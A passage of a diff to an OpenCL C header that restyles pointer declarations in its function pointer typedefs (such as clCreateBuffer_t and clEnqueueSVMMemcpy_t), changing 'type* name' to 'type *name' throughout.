CL_API_SUFFIX__VERSION_1_0; @@ -128,8 +128,8 @@ typedef cl_mem CL_API_CALL clCreateBuffer_t( cl_context context, cl_mem_flags flags, size_t size, - void* host_ptr, - cl_int* errcode_ret); + void *host_ptr, + cl_int *errcode_ret); typedef clCreateBuffer_t * clCreateBuffer_fn CL_API_SUFFIX__VERSION_1_0; @@ -151,8 +151,8 @@ typedef cl_int CL_API_CALL clGetSupportedImageFormats_t( cl_mem_flags flags, cl_mem_object_type image_type, cl_uint num_entries, - cl_image_format* image_formats, - cl_uint* num_image_formats); + cl_image_format *image_formats, + cl_uint *num_image_formats); typedef clGetSupportedImageFormats_t * clGetSupportedImageFormats_fn CL_API_SUFFIX__VERSION_1_0; @@ -161,8 +161,8 @@ typedef cl_int CL_API_CALL clGetMemObjectInfo_t( cl_mem memobj, cl_mem_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetMemObjectInfo_t * clGetMemObjectInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -171,8 +171,8 @@ typedef cl_int CL_API_CALL clGetImageInfo_t( cl_mem image, cl_image_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetImageInfo_t * clGetImageInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -193,8 +193,8 @@ typedef cl_int CL_API_CALL clGetSamplerInfo_t( cl_sampler sampler, cl_sampler_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetSamplerInfo_t * clGetSamplerInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -202,9 +202,9 @@ clGetSamplerInfo_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_program CL_API_CALL clCreateProgramWithSource_t( cl_context context, cl_uint count, - const char** strings, - const size_t* lengths, - cl_int* errcode_ret); + const char **strings, + const size_t *lengths, + cl_int *errcode_ret); typedef clCreateProgramWithSource_t * clCreateProgramWithSource_fn CL_API_SUFFIX__VERSION_1_0; @@ -212,11 +212,11 @@ clCreateProgramWithSource_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_program CL_API_CALL clCreateProgramWithBinary_t( cl_context context, cl_uint num_devices, - const cl_device_id* device_list, - const size_t* lengths, - const unsigned char** binaries, - cl_int* binary_status, - cl_int* errcode_ret); + const cl_device_id *device_list, + const size_t *lengths, + const unsigned char **binaries, + cl_int *binary_status, + cl_int *errcode_ret); typedef clCreateProgramWithBinary_t * clCreateProgramWithBinary_fn CL_API_SUFFIX__VERSION_1_0; @@ -236,10 +236,10 @@ clReleaseProgram_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_int CL_API_CALL clBuildProgram_t( cl_program program, cl_uint num_devices, - const cl_device_id* device_list, - const char* options, - void (CL_CALLBACK* pfn_notify)(cl_program program, void* user_data), - void* user_data); + const cl_device_id *device_list, + const char *options, + void (CL_CALLBACK *pfn_notify)(cl_program program, void *user_data), + void *user_data); typedef clBuildProgram_t * clBuildProgram_fn CL_API_SUFFIX__VERSION_1_0; @@ -248,8 +248,8 @@ typedef cl_int CL_API_CALL clGetProgramInfo_t( cl_program program, cl_program_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetProgramInfo_t * clGetProgramInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -259,16 +259,16 @@ typedef cl_int CL_API_CALL clGetProgramBuildInfo_t( cl_device_id device, cl_program_build_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetProgramBuildInfo_t * clGetProgramBuildInfo_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_kernel CL_API_CALL clCreateKernel_t( cl_program program, - const char* kernel_name, - cl_int* errcode_ret); + const char *kernel_name, + cl_int *errcode_ret); typedef clCreateKernel_t * clCreateKernel_fn CL_API_SUFFIX__VERSION_1_0; @@ -276,8 +276,8 @@ clCreateKernel_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_int CL_API_CALL clCreateKernelsInProgram_t( cl_program program, cl_uint num_kernels, - cl_kernel* kernels, - cl_uint* num_kernels_ret); + cl_kernel *kernels, + cl_uint *num_kernels_ret); typedef clCreateKernelsInProgram_t * clCreateKernelsInProgram_fn CL_API_SUFFIX__VERSION_1_0; @@ -298,7 +298,7 @@ typedef cl_int CL_API_CALL clSetKernelArg_t( cl_kernel kernel, cl_uint arg_index, size_t arg_size, - const void* arg_value); + const void *arg_value); typedef clSetKernelArg_t * clSetKernelArg_fn CL_API_SUFFIX__VERSION_1_0; @@ -307,8 +307,8 @@ typedef cl_int CL_API_CALL clGetKernelInfo_t( cl_kernel kernel, cl_kernel_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetKernelInfo_t * clGetKernelInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -318,15 +318,15 @@ typedef cl_int CL_API_CALL clGetKernelWorkGroupInfo_t( cl_device_id device, cl_kernel_work_group_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetKernelWorkGroupInfo_t * clGetKernelWorkGroupInfo_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_int CL_API_CALL clWaitForEvents_t( cl_uint num_events, - const cl_event* event_list); + const cl_event *event_list); typedef clWaitForEvents_t * clWaitForEvents_fn CL_API_SUFFIX__VERSION_1_0; @@ -335,8 +335,8 @@ typedef cl_int CL_API_CALL clGetEventInfo_t( cl_event event, cl_event_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetEventInfo_t * clGetEventInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -357,8 +357,8 @@ typedef cl_int CL_API_CALL clGetEventProfilingInfo_t( cl_event event, cl_profiling_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetEventProfilingInfo_t * clGetEventProfilingInfo_fn CL_API_SUFFIX__VERSION_1_0; @@ -381,10 +381,10 @@ typedef cl_int CL_API_CALL clEnqueueReadBuffer_t( cl_bool blocking_read, size_t offset, size_t size, - void* ptr, + void *ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueReadBuffer_t * clEnqueueReadBuffer_fn CL_API_SUFFIX__VERSION_1_0; @@ -395,10 +395,10 @@ typedef cl_int CL_API_CALL clEnqueueWriteBuffer_t( cl_bool blocking_write, size_t offset, size_t size, - const void* ptr, + const void *ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueWriteBuffer_t * clEnqueueWriteBuffer_fn CL_API_SUFFIX__VERSION_1_0; @@ -411,8 +411,8 @@ typedef cl_int CL_API_CALL clEnqueueCopyBuffer_t( size_t dst_offset, size_t size, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueCopyBuffer_t * clEnqueueCopyBuffer_fn CL_API_SUFFIX__VERSION_1_0; @@ -421,14 +421,14 @@ typedef cl_int CL_API_CALL clEnqueueReadImage_t( cl_command_queue command_queue, cl_mem image, cl_bool blocking_read, - const size_t* origin, - const size_t* region, + const size_t *origin, + const size_t *region, size_t row_pitch, size_t slice_pitch, - void* ptr, + void *ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueReadImage_t * clEnqueueReadImage_fn CL_API_SUFFIX__VERSION_1_0; @@ -437,14 +437,14 @@ typedef cl_int CL_API_CALL clEnqueueWriteImage_t( cl_command_queue command_queue, cl_mem image, cl_bool blocking_write, - const size_t* origin, - const size_t* region, + const size_t *origin, + const size_t *region, size_t input_row_pitch, size_t input_slice_pitch, - const void* ptr, + const void *ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueWriteImage_t * clEnqueueWriteImage_fn CL_API_SUFFIX__VERSION_1_0; @@ -453,12 +453,12 @@ typedef cl_int CL_API_CALL clEnqueueCopyImage_t( cl_command_queue command_queue, cl_mem src_image, cl_mem dst_image, - const size_t* src_origin, - const size_t* dst_origin, - const size_t* region, + const size_t *src_origin, + const size_t *dst_origin, + const size_t *region, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueCopyImage_t * clEnqueueCopyImage_fn CL_API_SUFFIX__VERSION_1_0; @@ -467,12 +467,12 @@ typedef cl_int CL_API_CALL clEnqueueCopyImageToBuffer_t( cl_command_queue command_queue, cl_mem src_image, cl_mem dst_buffer, - const size_t* src_origin, - const size_t* region, + const size_t *src_origin, + const size_t *region, size_t dst_offset, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueCopyImageToBuffer_t * clEnqueueCopyImageToBuffer_fn CL_API_SUFFIX__VERSION_1_0; @@ -482,16 +482,16 @@ typedef cl_int CL_API_CALL clEnqueueCopyBufferToImage_t( cl_mem src_buffer, cl_mem dst_image, size_t src_offset, - const size_t* dst_origin, - const size_t* region, + const size_t *dst_origin, + const size_t *region, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueCopyBufferToImage_t * clEnqueueCopyBufferToImage_fn CL_API_SUFFIX__VERSION_1_0; -typedef void* CL_API_CALL clEnqueueMapBuffer_t( +typedef void *CL_API_CALL clEnqueueMapBuffer_t( cl_command_queue command_queue, cl_mem buffer, cl_bool blocking_map, @@ -499,26 +499,26 @@ typedef void* CL_API_CALL clEnqueueMapBuffer_t( size_t offset, size_t size, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event, - cl_int* errcode_ret); + const cl_event *event_wait_list, + cl_event *event, + cl_int *errcode_ret); typedef clEnqueueMapBuffer_t * clEnqueueMapBuffer_fn CL_API_SUFFIX__VERSION_1_0; -typedef void* CL_API_CALL clEnqueueMapImage_t( +typedef void *CL_API_CALL clEnqueueMapImage_t( cl_command_queue command_queue, cl_mem image, cl_bool blocking_map, cl_map_flags map_flags, - const size_t* origin, - const size_t* region, - size_t* image_row_pitch, - size_t* image_slice_pitch, + const size_t *origin, + const size_t *region, + size_t *image_row_pitch, + size_t *image_slice_pitch, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event, - cl_int* errcode_ret); + const cl_event *event_wait_list, + cl_event *event, + cl_int *errcode_ret); typedef clEnqueueMapImage_t * clEnqueueMapImage_fn CL_API_SUFFIX__VERSION_1_0; @@ -526,10 +526,10 @@ clEnqueueMapImage_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_int CL_API_CALL clEnqueueUnmapMemObject_t( cl_command_queue command_queue, cl_mem memobj, - void* mapped_ptr, + void *mapped_ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueUnmapMemObject_t * clEnqueueUnmapMemObject_fn CL_API_SUFFIX__VERSION_1_0; @@ -538,27 +538,27 @@ typedef cl_int CL_API_CALL clEnqueueNDRangeKernel_t( cl_command_queue command_queue, cl_kernel kernel, cl_uint work_dim, - const size_t* global_work_offset, - const size_t* global_work_size, - const size_t* local_work_size, + const size_t *global_work_offset, + const size_t *global_work_size, + const size_t *local_work_size, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueNDRangeKernel_t * clEnqueueNDRangeKernel_fn CL_API_SUFFIX__VERSION_1_0; typedef cl_int CL_API_CALL clEnqueueNativeKernel_t( cl_command_queue command_queue, - void (CL_CALLBACK* user_func)(void*), - void* args, + void (CL_CALLBACK *user_func)(void *), + void *args, size_t cb_args, cl_uint num_mem_objects, - const cl_mem* mem_list, - const void** args_mem_loc, + const cl_mem *mem_list, + const void **args_mem_loc, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueNativeKernel_t * clEnqueueNativeKernel_fn CL_API_SUFFIX__VERSION_1_0; @@ -567,7 +567,7 @@ typedef cl_int CL_API_CALL clSetCommandQueueProperty_t( cl_command_queue command_queue, cl_command_queue_properties properties, cl_bool enable, - cl_command_queue_properties* old_properties); + cl_command_queue_properties *old_properties); typedef clSetCommandQueueProperty_t * clSetCommandQueueProperty_fn CL_API_SUFFIX__VERSION_1_0_DEPRECATED; @@ -575,12 +575,12 @@ clSetCommandQueueProperty_fn CL_API_SUFFIX__VERSION_1_0_DEPRECATED; typedef cl_mem CL_API_CALL clCreateImage2D_t( cl_context context, cl_mem_flags flags, - const cl_image_format* image_format, + const cl_image_format *image_format, size_t image_width, size_t image_height, size_t image_row_pitch, - void* host_ptr, - cl_int* errcode_ret); + void *host_ptr, + cl_int *errcode_ret); typedef clCreateImage2D_t * clCreateImage2D_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; @@ -588,21 +588,21 @@ clCreateImage2D_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; typedef cl_mem CL_API_CALL clCreateImage3D_t( cl_context context, cl_mem_flags flags, - const cl_image_format* image_format, + const cl_image_format *image_format, size_t image_width, size_t image_height, size_t image_depth, size_t image_row_pitch, size_t image_slice_pitch, - void* host_ptr, - cl_int* errcode_ret); + void *host_ptr, + cl_int *errcode_ret); typedef clCreateImage3D_t * clCreateImage3D_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; typedef cl_int CL_API_CALL clEnqueueMarker_t( cl_command_queue command_queue, - cl_event* event); + cl_event *event); typedef clEnqueueMarker_t * clEnqueueMarker_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; @@ -610,7 +610,7 @@ clEnqueueMarker_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; typedef cl_int CL_API_CALL clEnqueueWaitForEvents_t( cl_command_queue command_queue, cl_uint num_events, - const cl_event* event_list); + const cl_event *event_list); typedef clEnqueueWaitForEvents_t * clEnqueueWaitForEvents_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; @@ -622,13 +622,13 @@ typedef clEnqueueBarrier_t * clEnqueueBarrier_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; typedef cl_int CL_API_CALL clUnloadCompiler_t( - void ); + void); typedef clUnloadCompiler_t * clUnloadCompiler_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; -typedef void* CL_API_CALL clGetExtensionFunctionAddress_t( - const char* func_name); +typedef void *CL_API_CALL clGetExtensionFunctionAddress_t( + const char *func_name); typedef clGetExtensionFunctionAddress_t * clGetExtensionFunctionAddress_fn CL_API_SUFFIX__VERSION_1_1_DEPRECATED; @@ -637,7 +637,7 @@ typedef cl_command_queue CL_API_CALL clCreateCommandQueue_t( cl_context context, cl_device_id device, cl_command_queue_properties properties, - cl_int* errcode_ret); + cl_int *errcode_ret); typedef clCreateCommandQueue_t * clCreateCommandQueue_fn CL_API_SUFFIX__VERSION_1_2_DEPRECATED; @@ -647,7 +647,7 @@ typedef cl_sampler CL_API_CALL clCreateSampler_t( cl_bool normalized_coords, cl_addressing_mode addressing_mode, cl_filter_mode filter_mode, - cl_int* errcode_ret); + cl_int *errcode_ret); typedef clCreateSampler_t * clCreateSampler_fn CL_API_SUFFIX__VERSION_1_2_DEPRECATED; @@ -656,8 +656,8 @@ typedef cl_int CL_API_CALL clEnqueueTask_t( cl_command_queue command_queue, cl_kernel kernel, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueTask_t * clEnqueueTask_fn CL_API_SUFFIX__VERSION_1_2_DEPRECATED; @@ -668,23 +668,23 @@ typedef cl_mem CL_API_CALL clCreateSubBuffer_t( cl_mem buffer, cl_mem_flags flags, cl_buffer_create_type buffer_create_type, - const void* buffer_create_info, - cl_int* errcode_ret); + const void *buffer_create_info, + cl_int *errcode_ret); typedef clCreateSubBuffer_t * clCreateSubBuffer_fn CL_API_SUFFIX__VERSION_1_1; typedef cl_int CL_API_CALL clSetMemObjectDestructorCallback_t( cl_mem memobj, - void (CL_CALLBACK* pfn_notify)(cl_mem memobj, void* user_data), - void* user_data); + void (CL_CALLBACK *pfn_notify)(cl_mem memobj, void *user_data), + void *user_data); typedef clSetMemObjectDestructorCallback_t * clSetMemObjectDestructorCallback_fn CL_API_SUFFIX__VERSION_1_1; typedef cl_event CL_API_CALL clCreateUserEvent_t( cl_context context, - cl_int* errcode_ret); + cl_int *errcode_ret); typedef clCreateUserEvent_t * clCreateUserEvent_fn CL_API_SUFFIX__VERSION_1_1; @@ -699,8 +699,8 @@ clSetUserEventStatus_fn CL_API_SUFFIX__VERSION_1_1; typedef cl_int CL_API_CALL clSetEventCallback_t( cl_event event, cl_int command_exec_callback_type, - void (CL_CALLBACK* pfn_notify)(cl_event event, cl_int event_command_status, void *user_data), - void* user_data); + void (CL_CALLBACK *pfn_notify)(cl_event event, cl_int event_command_status, void *user_data), + void *user_data); typedef clSetEventCallback_t * clSetEventCallback_fn CL_API_SUFFIX__VERSION_1_1; @@ -709,17 +709,17 @@ typedef cl_int CL_API_CALL clEnqueueReadBufferRect_t( cl_command_queue command_queue, cl_mem buffer, cl_bool blocking_read, - const size_t* buffer_origin, - const size_t* host_origin, - const size_t* region, + const size_t *buffer_origin, + const size_t *host_origin, + const size_t *region, size_t buffer_row_pitch, size_t buffer_slice_pitch, size_t host_row_pitch, size_t host_slice_pitch, - void* ptr, + void *ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueReadBufferRect_t * clEnqueueReadBufferRect_fn CL_API_SUFFIX__VERSION_1_1; @@ -728,17 +728,17 @@ typedef cl_int CL_API_CALL clEnqueueWriteBufferRect_t( cl_command_queue command_queue, cl_mem buffer, cl_bool blocking_write, - const size_t* buffer_origin, - const size_t* host_origin, - const size_t* region, + const size_t *buffer_origin, + const size_t *host_origin, + const size_t *region, size_t buffer_row_pitch, size_t buffer_slice_pitch, size_t host_row_pitch, size_t host_slice_pitch, - const void* ptr, + const void *ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueWriteBufferRect_t * clEnqueueWriteBufferRect_fn CL_API_SUFFIX__VERSION_1_1; @@ -747,16 +747,16 @@ typedef cl_int CL_API_CALL clEnqueueCopyBufferRect_t( cl_command_queue command_queue, cl_mem src_buffer, cl_mem dst_buffer, - const size_t* src_origin, - const size_t* dst_origin, - const size_t* region, + const size_t *src_origin, + const size_t *dst_origin, + const size_t *region, size_t src_row_pitch, size_t src_slice_pitch, size_t dst_row_pitch, size_t dst_slice_pitch, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueCopyBufferRect_t * clEnqueueCopyBufferRect_fn CL_API_SUFFIX__VERSION_1_1; @@ -767,10 +767,10 @@ clEnqueueCopyBufferRect_fn CL_API_SUFFIX__VERSION_1_1; typedef cl_int CL_API_CALL clCreateSubDevices_t( cl_device_id in_device, - const cl_device_partition_property* properties, + const cl_device_partition_property *properties, cl_uint num_devices, - cl_device_id* out_devices, - cl_uint* num_devices_ret); + cl_device_id *out_devices, + cl_uint *num_devices_ret); typedef clCreateSubDevices_t * clCreateSubDevices_fn CL_API_SUFFIX__VERSION_1_2; @@ -790,10 +790,10 @@ clReleaseDevice_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_mem CL_API_CALL clCreateImage_t( cl_context context, cl_mem_flags flags, - const cl_image_format* image_format, - const cl_image_desc* image_desc, - void* host_ptr, - cl_int* errcode_ret); + const cl_image_format *image_format, + const cl_image_desc *image_desc, + void *host_ptr, + cl_int *errcode_ret); typedef clCreateImage_t * clCreateImage_fn CL_API_SUFFIX__VERSION_1_2; @@ -801,9 +801,9 @@ clCreateImage_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_program CL_API_CALL clCreateProgramWithBuiltInKernels_t( cl_context context, cl_uint num_devices, - const cl_device_id* device_list, - const char* kernel_names, - cl_int* errcode_ret); + const cl_device_id *device_list, + const char *kernel_names, + cl_int *errcode_ret); typedef clCreateProgramWithBuiltInKernels_t * clCreateProgramWithBuiltInKernels_fn CL_API_SUFFIX__VERSION_1_2; @@ -811,13 +811,13 @@ clCreateProgramWithBuiltInKernels_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_int CL_API_CALL clCompileProgram_t( cl_program program, cl_uint num_devices, - const cl_device_id* device_list, - const char* options, + const cl_device_id *device_list, + const char *options, cl_uint num_input_headers, - const cl_program* input_headers, - const char** header_include_names, - void (CL_CALLBACK* pfn_notify)(cl_program program, void* user_data), - void* user_data); + const cl_program *input_headers, + const char **header_include_names, + void (CL_CALLBACK *pfn_notify)(cl_program program, void *user_data), + void *user_data); typedef clCompileProgram_t * clCompileProgram_fn CL_API_SUFFIX__VERSION_1_2; @@ -825,13 +825,13 @@ clCompileProgram_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_program CL_API_CALL clLinkProgram_t( cl_context context, cl_uint num_devices, - const cl_device_id* device_list, - const char* options, + const cl_device_id *device_list, + const char *options, cl_uint num_input_programs, - const cl_program* input_programs, - void (CL_CALLBACK* pfn_notify)(cl_program program, void* user_data), - void* user_data, - cl_int* errcode_ret); + const cl_program *input_programs, + void (CL_CALLBACK *pfn_notify)(cl_program program, void *user_data), + void *user_data, + cl_int *errcode_ret); typedef clLinkProgram_t * clLinkProgram_fn CL_API_SUFFIX__VERSION_1_2; @@ -847,8 +847,8 @@ typedef cl_int CL_API_CALL clGetKernelArgInfo_t( cl_uint arg_index, cl_kernel_arg_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetKernelArgInfo_t * clGetKernelArgInfo_fn CL_API_SUFFIX__VERSION_1_2; @@ -856,13 +856,13 @@ clGetKernelArgInfo_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_int CL_API_CALL clEnqueueFillBuffer_t( cl_command_queue command_queue, cl_mem buffer, - const void* pattern, + const void *pattern, size_t pattern_size, size_t offset, size_t size, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueFillBuffer_t * clEnqueueFillBuffer_fn CL_API_SUFFIX__VERSION_1_2; @@ -870,12 +870,12 @@ clEnqueueFillBuffer_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_int CL_API_CALL clEnqueueFillImage_t( cl_command_queue command_queue, cl_mem image, - const void* fill_color, - const size_t* origin, - const size_t* region, + const void *fill_color, + const size_t *origin, + const size_t *region, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueFillImage_t * clEnqueueFillImage_fn CL_API_SUFFIX__VERSION_1_2; @@ -883,11 +883,11 @@ clEnqueueFillImage_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_int CL_API_CALL clEnqueueMigrateMemObjects_t( cl_command_queue command_queue, cl_uint num_mem_objects, - const cl_mem* mem_objects, + const cl_mem *mem_objects, cl_mem_migration_flags flags, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueMigrateMemObjects_t * clEnqueueMigrateMemObjects_fn CL_API_SUFFIX__VERSION_1_2; @@ -895,8 +895,8 @@ clEnqueueMigrateMemObjects_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_int CL_API_CALL clEnqueueMarkerWithWaitList_t( cl_command_queue command_queue, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueMarkerWithWaitList_t * clEnqueueMarkerWithWaitList_fn CL_API_SUFFIX__VERSION_1_2; @@ -904,15 +904,15 @@ clEnqueueMarkerWithWaitList_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_int CL_API_CALL clEnqueueBarrierWithWaitList_t( cl_command_queue command_queue, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueBarrierWithWaitList_t * clEnqueueBarrierWithWaitList_fn CL_API_SUFFIX__VERSION_1_2; -typedef void* CL_API_CALL clGetExtensionFunctionAddressForPlatform_t( +typedef void *CL_API_CALL clGetExtensionFunctionAddressForPlatform_t( cl_platform_id platform, - const char* func_name); + const char *func_name); typedef clGetExtensionFunctionAddressForPlatform_t * clGetExtensionFunctionAddressForPlatform_fn CL_API_SUFFIX__VERSION_1_2; @@ -924,8 +924,8 @@ clGetExtensionFunctionAddressForPlatform_fn CL_API_SUFFIX__VERSION_1_2; typedef cl_command_queue CL_API_CALL clCreateCommandQueueWithProperties_t( cl_context context, cl_device_id device, - const cl_queue_properties* properties, - cl_int* errcode_ret); + const cl_queue_properties *properties, + cl_int *errcode_ret); typedef clCreateCommandQueueWithProperties_t * clCreateCommandQueueWithProperties_fn CL_API_SUFFIX__VERSION_2_0; @@ -935,8 +935,8 @@ typedef cl_mem CL_API_CALL clCreatePipe_t( cl_mem_flags flags, cl_uint pipe_packet_size, cl_uint pipe_max_packets, - const cl_pipe_properties* properties, - cl_int* errcode_ret); + const cl_pipe_properties *properties, + cl_int *errcode_ret); typedef clCreatePipe_t * clCreatePipe_fn CL_API_SUFFIX__VERSION_2_0; @@ -945,13 +945,13 @@ typedef cl_int CL_API_CALL clGetPipeInfo_t( cl_mem pipe, cl_pipe_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetPipeInfo_t * clGetPipeInfo_fn CL_API_SUFFIX__VERSION_2_0; -typedef void* CL_API_CALL clSVMAlloc_t( +typedef void *CL_API_CALL clSVMAlloc_t( cl_context context, cl_svm_mem_flags flags, size_t size, @@ -962,15 +962,15 @@ clSVMAlloc_fn CL_API_SUFFIX__VERSION_2_0; typedef void CL_API_CALL clSVMFree_t( cl_context context, - void* svm_pointer); + void *svm_pointer); typedef clSVMFree_t * clSVMFree_fn CL_API_SUFFIX__VERSION_2_0; typedef cl_sampler CL_API_CALL clCreateSamplerWithProperties_t( cl_context context, - const cl_sampler_properties* sampler_properties, - cl_int* errcode_ret); + const cl_sampler_properties *sampler_properties, + cl_int *errcode_ret); typedef clCreateSamplerWithProperties_t * clCreateSamplerWithProperties_fn CL_API_SUFFIX__VERSION_2_0; @@ -978,7 +978,7 @@ clCreateSamplerWithProperties_fn CL_API_SUFFIX__VERSION_2_0; typedef cl_int CL_API_CALL clSetKernelArgSVMPointer_t( cl_kernel kernel, cl_uint arg_index, - const void* arg_value); + const void *arg_value); typedef clSetKernelArgSVMPointer_t * clSetKernelArgSVMPointer_fn CL_API_SUFFIX__VERSION_2_0; @@ -987,7 +987,7 @@ typedef cl_int CL_API_CALL clSetKernelExecInfo_t( cl_kernel kernel, cl_kernel_exec_info param_name, size_t param_value_size, - const void* param_value); + const void *param_value); typedef clSetKernelExecInfo_t * clSetKernelExecInfo_fn CL_API_SUFFIX__VERSION_2_0; @@ -995,12 +995,12 @@ clSetKernelExecInfo_fn CL_API_SUFFIX__VERSION_2_0; typedef cl_int CL_API_CALL clEnqueueSVMFree_t( cl_command_queue command_queue, cl_uint num_svm_pointers, - void* svm_pointers[], - void (CL_CALLBACK* pfn_free_func)(cl_command_queue queue, cl_uint num_svm_pointers, void* svm_pointers[], void* user_data), - void* user_data, + void *svm_pointers[], + void (CL_CALLBACK *pfn_free_func)(cl_command_queue queue, cl_uint num_svm_pointers, void *svm_pointers[], void *user_data), + void *user_data, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueSVMFree_t * clEnqueueSVMFree_fn CL_API_SUFFIX__VERSION_2_0; @@ -1008,25 +1008,25 @@ clEnqueueSVMFree_fn CL_API_SUFFIX__VERSION_2_0; typedef cl_int CL_API_CALL clEnqueueSVMMemcpy_t( cl_command_queue command_queue, cl_bool blocking_copy, - void* dst_ptr, - const void* src_ptr, + void *dst_ptr, + const void *src_ptr, size_t size, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueSVMMemcpy_t * clEnqueueSVMMemcpy_fn CL_API_SUFFIX__VERSION_2_0; typedef cl_int CL_API_CALL clEnqueueSVMMemFill_t( cl_command_queue command_queue, - void* svm_ptr, - const void* pattern, + void *svm_ptr, + const void *pattern, size_t pattern_size, size_t size, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueSVMMemFill_t * clEnqueueSVMMemFill_fn CL_API_SUFFIX__VERSION_2_0; @@ -1035,21 +1035,21 @@ typedef cl_int CL_API_CALL clEnqueueSVMMap_t( cl_command_queue command_queue, cl_bool blocking_map, cl_map_flags flags, - void* svm_ptr, + void *svm_ptr, size_t size, cl_uint 